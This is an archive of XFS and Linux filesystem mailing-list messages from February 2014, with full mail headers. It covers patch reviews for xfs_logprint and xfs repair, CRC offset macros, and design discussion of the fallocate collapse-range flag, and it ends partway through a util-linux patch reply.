name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 03:08:58PM -0800, Hugh Dickins wrote: > On Wed, 26 Feb 2014, Dave Chinner wrote: > > On Tue, Feb 25, 2014 at 08:45:15PM -0800, Hugh Dickins wrote: > > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > > On Tue, Feb 25, 2014 at 03:23:35PM -0800, Hugh Dickins wrote: > > > > > > > > > I should mention that when "we" implemented this thirty years ago, > > > > > we had a strong conviction that the system call should be idempotent: > > > > > that is, the len argument should indicate the final i_size, not the > > > > > amount being removed from it. Now, I don't remember the grounds for > > > > > that conviction: maybe it was just an idealistic preference for how > > > > > to design a good system call. I can certainly see that defining it > > > > > that way round would surprise many app programmers. Just mentioning > > > > > this in case anyone on these lists sees a practical advantage to > > > > > doing it that way instead. > > > > > > > > I don't see how specifying the end file size as an improvement. What > > > > happens if you are collapse a range in a file that is still being > > > > appended to by the application and so you race with a file size > > > > update? IOWs, with such an API the range to be collapsed is > > > > completely unpredictable, and IMO that's a fundamentally broken API. > > > > > > That's fine if you don't see the idempotent API as an improvement, > > > I just wanted to put it on the table in case someone does see an > > > advantage to it. But I think I'm missing something in your race > > > example: I don't see a difference between the two APIs there. > > > > > > Userspace can't sample the inode size via stat(2) and then use the value for a > > syscall atomically. i.e. if you specify the offset you want to > > collapse at, and the file size you want to have to define the region > > to collapse, then the length you need to collapse is (current inode > > size - end file size). If "current inode size" can change between > > the stat(2) and fallocate() call (and it can), then the length being > > collapsed is indeterminate.... > > Thanks for explaining more, I was just about to acknowledge what a good > example that is. Indeed, it seems not unreasonable to be editing the > earlier part of a file while the later part of it is still streaming in. > > But damn, it now occurs to me that there's still a problem at the > streaming end: its file write offset won't be updated to reflect > the collapse, so there would be a sparse hole at that end. And > collapse returns -EPERM if IS_APPEND(inode). Well, we figure that most applications won't be using append only inode flags for files that they know they want to edit at random offsets later on. ;) However, I can see how DVR apps would use open(O_APPEND) to obtain the fd they write to because that sets the write position to the EOF on every write() call (i.e. in generic_write_checks()). And collapse range should behave sanely with this sort of usage. e.g. XFS calls generic_write_checks() after it has taken the IO lock to set the current write position to EOF. Hence it will be correctly serialised against collapse range calls and so O_APPEND writes will not leave sparse holes if collapse range calls are interleaved with the write stream.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 26 19:28:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C7CF229DF8 for ; Wed, 26 Feb 2014 19:28:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A57298F8054 for ; Wed, 26 Feb 2014 17:28:10 -0800 (PST) X-ASG-Debug-ID: 1393464488-04cbb066e47e8f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id E1hxkO3C6m5p45Ob for ; Wed, 26 Feb 2014 17:28:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvkJAG6TDlN5LJYe/2dsb2JhbABagwaDQ7h6hVSBFhd0gicBAQU6HCMQCAMYCSUPBSUDIROHeMoOFxaOPgeENwEDmDWKU4dWg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 11:58:08 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIplT-0006OS-Ip; Thu, 27 Feb 2014 12:27:55 +1100 Date: Thu, 27 Feb 2014 12:27:55 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH 1/2] xfs_logprint: Don't error out after split items lose context Message-ID: <20140227012755.GX13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs_logprint: Don't error out after split items lose context References: <530E8E17.1090901@redhat.com> <530E9135.2020807@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530E9135.2020807@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393464488 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145553 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 07:13:25PM -0600, Eric Sandeen wrote: > xfs_logprint recognizes a "left over region from split log item" > but then expects the *next* op to be a valid start to a new > item. The problem is, we can split i.e. an xfs_inode_log_format > item, skip over it, and then land on the xfs_icdinode_t > data which follows it - this doesn't have a valid log item > magic (XFS_LI_*) and we error out. This results in something > like: > > xfs_logprint: unknown log operation type (494e) > > Fix this by recognizing that we've skipped over an item and > lost the context we're in, so just continue skipping over > op headers until we find the next valid start to a log item. > > Signed-off-by: Eric Sandeen Looks good - fixes the problem and does a good job of explaining it. :) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 26 19:29:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 407CB29DF8 for ; Wed, 26 Feb 2014 19:29:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id AD68DAC004 for ; Wed, 26 Feb 2014 17:29:16 -0800 (PST) X-ASG-Debug-ID: 1393464554-04cbb066e47e9f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id neCM7C1sD00QtIhw for ; Wed, 26 Feb 2014 17:29:14 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvkJAHiUDlN5LJYe/2dsb2JhbABagwaDQ7h6hVSBFhd0gicBAQU6HCMQCAMYCSUPBSUDIROHeMoPFxaOPgeENwSYNYpTh1aBb4FSKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 11:59:05 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIpmO-0006Od-OC; Thu, 27 Feb 2014 12:28:52 +1100 Date: Thu, 27 Feb 2014 12:28:52 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH 2/2] xfs_logprint: don't advance op counter in xlog_print_trans_icreate Message-ID: <20140227012852.GY13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs_logprint: don't advance op counter in xlog_print_trans_icreate References: <530E8E17.1090901@redhat.com> <530E91C8.1010207@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530E91C8.1010207@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393464554 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145553 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 07:15:52PM -0600, Eric Sandeen wrote: > xlog_print_trans_icreate is advancing the op counter > "(*i)++" incorrectly; it only contains one region, and > the loop which called it will properly advance the op > once we're done. > > Found-by: Dave Chinner > Signed-off-by: Eric Sandeen > --- > > diff --git a/logprint/log_misc.c b/logprint/log_misc.c > index 7070fa3..52f1e85 100644 > --- a/logprint/log_misc.c > +++ b/logprint/log_misc.c > @@ -810,7 +810,6 @@ xlog_print_trans_icreate( > > memmove(&icl_buf, *ptr, MIN(sizeof(struct xfs_icreate_log), len)); > icl = &icl_buf; > - (*i)++; > *ptr += len; > > /* handle complete header only */ *nod*. I'm pretty sure I introduced that bug - thanks for exposing it and fixing it :) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From hughd@google.com Wed Feb 26 19:31:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B436429DF8 for ; Wed, 26 Feb 2014 19:31:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B141AC003 for ; Wed, 26 Feb 2014 17:31:36 -0800 (PST) X-ASG-Debug-ID: 1393464694-04cbb066e57eba0001-NocioJ Received: from mail-pa0-f50.google.com (mail-pa0-f50.google.com [209.85.220.50]) by cuda.sgi.com with ESMTP id vKl25RHEwMoyBTvp (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 17:31:34 -0800 (PST) X-Barracuda-Envelope-From: hughd@google.com X-Barracuda-Apparent-Source-IP: 209.85.220.50 X-Barracuda-IPDD: Level1 [google.com/209.85.220.50] Received: by mail-pa0-f50.google.com with SMTP id kp14so1764958pab.23 for ; Wed, 26 Feb 2014 17:31:34 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.220.50] X-Barracuda-IPDD: Level1 [google.com/209.85.220.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=dUzj4Nr6xrOmftiyQvLfKgaS4Ts2Hf+tW5mL2EYNXXY=; b=olsjWQt1deveuzDVERTImjqLdj0vsRH0p9lIrMChc85doy1cSZLkWDs1+ZXCNmooG7 lobc+mWdqwVbQYmYF/iW7KmAs2JTgsaRaRWKdeSRoAM9I7IM/ECl72+DESGXTHaRHx5M Bq4z/XsSBXaOJd7ysm0j/0TeQOEkvnIQ5Du0h6plNzfcGoptfqXFiAKuVNq30P8xAB2T AnZewjD4Dyx5hxy3xAQXc9JVbVUkCNsWQA+vZjdy40fQXRDutAbvDUzxXYW1us7OH7V9 YLKdsUftDudPqIqvvP4nMrRwuLglrNKF9IFA3lTZQ4l9/phOh0pvgIYQexWWYVqRhdge Azng== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=dUzj4Nr6xrOmftiyQvLfKgaS4Ts2Hf+tW5mL2EYNXXY=; b=Gvd0d8ryi28Db41VdC4d0EFJvUP2yH34TbWRA503pnFUF0w0LPyFTieqNkcq7bswjh n0GLSJ5ogTKXN56daItSzTC1/Hb2+IlmR90212L3/lD1mkA2VEa2YIDNYLTdzWnaIqsi tdYqHmt9zDYh/ZNAkkvhY/PyUaBLF1Pvb7Pk8Pn0K6Yls/nxm+hIhBMcwqezTekyGeYN PC3glEOou8GZBUD4blmHiNSqYJeNmJuV89hgxFH06fq+oyAtOWx5PC/Bg6tNqoE13pWx LAtTqETYUDfAOJeGAsTCbCJqQE4o27qe2uUFrLc5n0u68nPp/CUnmFJZ7XKY3zLpLUAc 5ITQ== X-Gm-Message-State: ALoCoQkOcwr+/fk4aVNcaiYYJsM+NJi2NrvlU4cEhXyiSboamuSsWR69TJBT/qzQ2MlqBWF4jmtWFimdpQ7O6qLvJyBZUYKeLkp+DU+EOdYEmXiCCPel2Yhc+Z2AHsPS/+xXqLYRQk2ENm6/+ms630sJ5bLuWm60EOYKcIdAystOcAvAnqijxIUWj65sLB3PkBwa/RRHX4PY X-Received: by 10.66.192.133 with SMTP id hg5mr12405562pac.122.1393464693977; Wed, 26 Feb 2014 17:31:33 -0800 (PST) Received: from [192.168.148.247] ([216.239.55.199]) by mx.google.com with ESMTPSA id ki3sm7749390pbc.6.2014.02.26.17.31.32 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 26 Feb 2014 17:31:33 -0800 (PST) Date: Wed, 26 Feb 2014 17:30:35 -0800 (PST) From: Hugh Dickins X-X-Sender: hugh@eggly.anvils To: Dave Chinner cc: Hugh Dickins , Namjae Jeon , Andrew Morton , Matthew Wilcox , Theodore Ts'o , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140227012431.GW13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> <20140226011347.GL13647@dastard> <20140226064224.GU13647@dastard> <20140227012431.GW13647@dastard> User-Agent: Alpine 2.11 (LSU 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pa0-f50.google.com[209.85.220.50] X-Barracuda-Start-Time: 1393464694 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145553 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, 27 Feb 2014, Dave Chinner wrote: > On Wed, Feb 26, 2014 at 03:08:58PM -0800, Hugh Dickins wrote: > > > > Thanks for explaining more, I was just about to acknowledge what a good > > example that is. Indeed, it seems not unreasonable to be editing the > > earlier part of a file while the later part of it is still streaming in. > > > > But damn, it now occurs to me that there's still a problem at the > > streaming end: its file write offset won't be updated to reflect > > the collapse, so there would be a sparse hole at that end. And > > collapse returns -EPERM if IS_APPEND(inode). > > Well, we figure that most applications won't be using append only > inode flags for files that they know they want to edit at random > offsets later on. ;) > > However, I can see how DVR apps would use open(O_APPEND) to obtain > the fd they write to because that sets the write position to the EOF > on every write() call (i.e. in generic_write_checks()). And collapse > range should behave sanely with this sort of usage. > > e.g. XFS calls generic_write_checks() after it has taken the IO lock > to set the current write position to EOF. Hence it will be correctly > serialised against collapse range calls and so O_APPEND writes will > not leave sparse holes if collapse range calls are interleaved with > the write stream.... Right, I was getting confused between O_APPEND and APPEND_Only! Thanks, I'm back to being convinced by your example. Hugh From david@fromorbit.com Wed Feb 26 20:06:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8654D29DF8 for ; Wed, 26 Feb 2014 20:06:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5955F30406A for ; Wed, 26 Feb 2014 18:06:44 -0800 (PST) X-ASG-Debug-ID: 1393466798-04bdf05dac841d0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id xAgNJxGsQ81jS778 for ; Wed, 26 Feb 2014 18:06:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvkJAM2cDlN5LJYe/2dsb2JhbABagwaDQ7h6hVSBFhd0gicBAQQBOhwjBQsIAw4HAwklDwUlAyETh3EHygwXFo4+B4MjgRQEmDWSKYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 12:36:38 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIqMi-0006V6-Iz; Thu, 27 Feb 2014 13:06:24 +1100 Date: Thu, 27 Feb 2014 13:06:24 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/10] repair: use a listhead for the dotdot list Message-ID: <20140227020624.GE29907@dastard> X-ASG-Orig-Subj: Re: [PATCH 06/10] repair: use a listhead for the dotdot list References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-7-git-send-email-david@fromorbit.com> <20140225200332.GB22351@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225200332.GB22351@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393466798 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145554 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 12:03:32PM -0800, Christoph Hellwig wrote: > On Mon, Feb 24, 2014 at 05:29:25PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Cleanup suggested by Christoph Hellwig - removes another open coded > > list implementation. > > Looks good. Question for both the old and new code: any good reason to > do the dotdot updates LIFO? If yes it might be worth adding a comment > about that fact. No, it didn't even occur to me that it might matter. I'll change it back to FIFO. > Reviewed-by: Christoph Hellwig Thanks, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 26 20:16:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AC6EB29DF8 for ; Wed, 26 Feb 2014 20:16:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8E43B8F8037 for ; Wed, 26 Feb 2014 18:16:01 -0800 (PST) X-ASG-Debug-ID: 1393467355-04cb6c56757ec20001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id WHU5TUaIBnCdbfep for ; Wed, 26 Feb 2014 18:15:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvkJACafDlN5LJYe/2dsb2JhbABagwaDQ7h6hVSBFhd0gicBAQU6HCMQCAMYCSUPBSUDIRMZh1/KBRcWjj4HgyOBFASYNZIpg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 12:45:54 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIqVg-0006Wl-RG; Thu, 27 Feb 2014 13:15:40 +1100 Date: Thu, 27 Feb 2014 13:15:40 +1100 From: Dave Chinner To: Jeff Liu Cc: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases Message-ID: <20140227021540.GF29907@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-5-git-send-email-sandeen@redhat.com> <530463C6.6050509@oracle.com> <20140220002713.GI4916@dastard> <5305CDAE.50004@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5305CDAE.50004@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393467355 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145554 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 05:41:02PM +0800, Jeff Liu wrote: > > On 02/20 2014 08:27 AM, Dave Chinner wrote: > > On Wed, Feb 19, 2014 at 03:56:54PM +0800, Jeff Liu wrote: > >> Hi Eric, > >> > >> I read the previous comments from Dave about using defines for CRC offsets, > >> and with a grep search after applying this patch, looks there have another > >> two places maybe we should switch them to the macros as well: > >> > >> fs/xfs/xfs_log.c: > >> Do we need a log record crc offset macros for offsetof(struct xlog_rec_header, h_crc))? > >> > >> xfs_dinode.h: > >> we added the XFS_DINODE_CRC_OFF, just use it at below routine? > >> > >> static inline uint xfs_dinode_size(int version) > >> { > >> if (version == 3) > >> return sizeof(struct xfs_dinode); > >> return offsetof(struct xfs_dinode, di_crc); > >> } > > > > No, that's a different case - it's not being used for determining > > the offset of a CRC varaible - it's being used to calculate the size > > of the version 2 inode core. Hence it should remain open coded like > > because it has a different purpose in life.... > > Thanks for the clarification, so we don't need that for the second inode > case, but the first case is used to determine the log record crc offset > to generate the crc for record header, shouldn't we make it consistent > with others? Probably should. Eric, can you send a separate patch that converts the log crc fileds to use the same convention? Cheers, Dave. -- Dave Chinner david@fromorbit.com From linkinjeon@gmail.com Wed Feb 26 21:59:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 21F1029DF8 for ; Wed, 26 Feb 2014 21:59:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 01A2B304059 for ; Wed, 26 Feb 2014 19:59:53 -0800 (PST) X-ASG-Debug-ID: 1393473592-04cbb066e583010001-NocioJ Received: from mail-qg0-f46.google.com (mail-qg0-f46.google.com [209.85.192.46]) by cuda.sgi.com with ESMTP id PTTGsnwuZlPNbYXE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 19:59:52 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.46 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.46] Received: by mail-qg0-f46.google.com with SMTP id e89so4156427qgf.5 for ; Wed, 26 Feb 2014 19:59:52 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.46] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.46] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=qR6LPLku/DJ2tsBBdCHmZP4t1sq5fYxtkzioW60nBho=; b=MYK9sadyJpDBTDWl1tU02h1gBez2wCTlfxkh/+PdwU4XmxnCtS894xtBLITvnmAxdh rJJSkAExf5LARLc6P/fQbsWH9Jg1XvmmN4BG4O4Qeqb6f2uMV9f7uyYhpjNpOrwtf/HQ VOya5RZBe4EYJTg5vKw1z3N5WCVhcw16kwH3YWzWakr/9dcNXlohWBvaydfP/s73dqmo 22nFTzZVD0EkLvTYERCm8am/s6h7rX8pcJNzVu4mQrQBWrta0LhinoI1R4UAxl+nSgFG I7tETRi7iNQ81OVHABW4GfhByZe6yRmbHG6C1MGpKPO3elgnO3ArIeeQhX23XvdfQ+y9 WqEg== MIME-Version: 1.0 X-Received: by 10.224.119.147 with SMTP id z19mr13467773qaq.20.1393473591988; Wed, 26 Feb 2014 19:59:51 -0800 (PST) Received: by 10.96.109.102 with HTTP; Wed, 26 Feb 2014 19:59:51 -0800 (PST) In-Reply-To: <1393355305-12009-1-git-send-email-dongsu.park@profitbricks.com> References: <1393355305-12009-1-git-send-email-dongsu.park@profitbricks.com> Date: Thu, 27 Feb 2014 12:59:51 +0900 Message-ID: Subject: Re: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE To: Dongsu Park , Karel Zak Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, tytso@mit.edu, Lukas Czerner , Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qg0-f46.google.com[209.85.192.46] X-Barracuda-Start-Time: 1393473592 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145556 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dongsu. > As discussed in the thread "[PATCH RESEND 3/10] ext4: Add support > FALLOC_FL_COLLAPSE_RANGE for fallocate", [3] this patch to util-linux > will be useful for testing collapse-range inside xfstests. As Dave pointed, this patch is needed for fsstress not xfstests. > > [1] https://lkml.org/lkml/2014/2/18/374 > [2] https://lkml.org/lkml/2014/2/20/318 > [3] https://lkml.org/lkml/2014/2/18/83 > > @@ -51,6 +52,10 @@ > # define FALLOC_FL_PUNCH_HOLE 2 > #endif > > +#ifndef FALLOC_FL_COLLAPSE_RANGE > +# define FALLOC_FL_COLLAPSE_RANGE 8 > +#endif > + > #include "nls.h" > #include "strutils.h" > #include "c.h" > @@ -66,12 +71,13 @@ static void __attribute__((__noreturn__)) usage(FILE > *out) > fprintf(out, > _(" %s [options] \n"), program_invocation_short_name); > fputs(USAGE_OPTIONS, out); > - fputs(_(" -d, --dig-holes 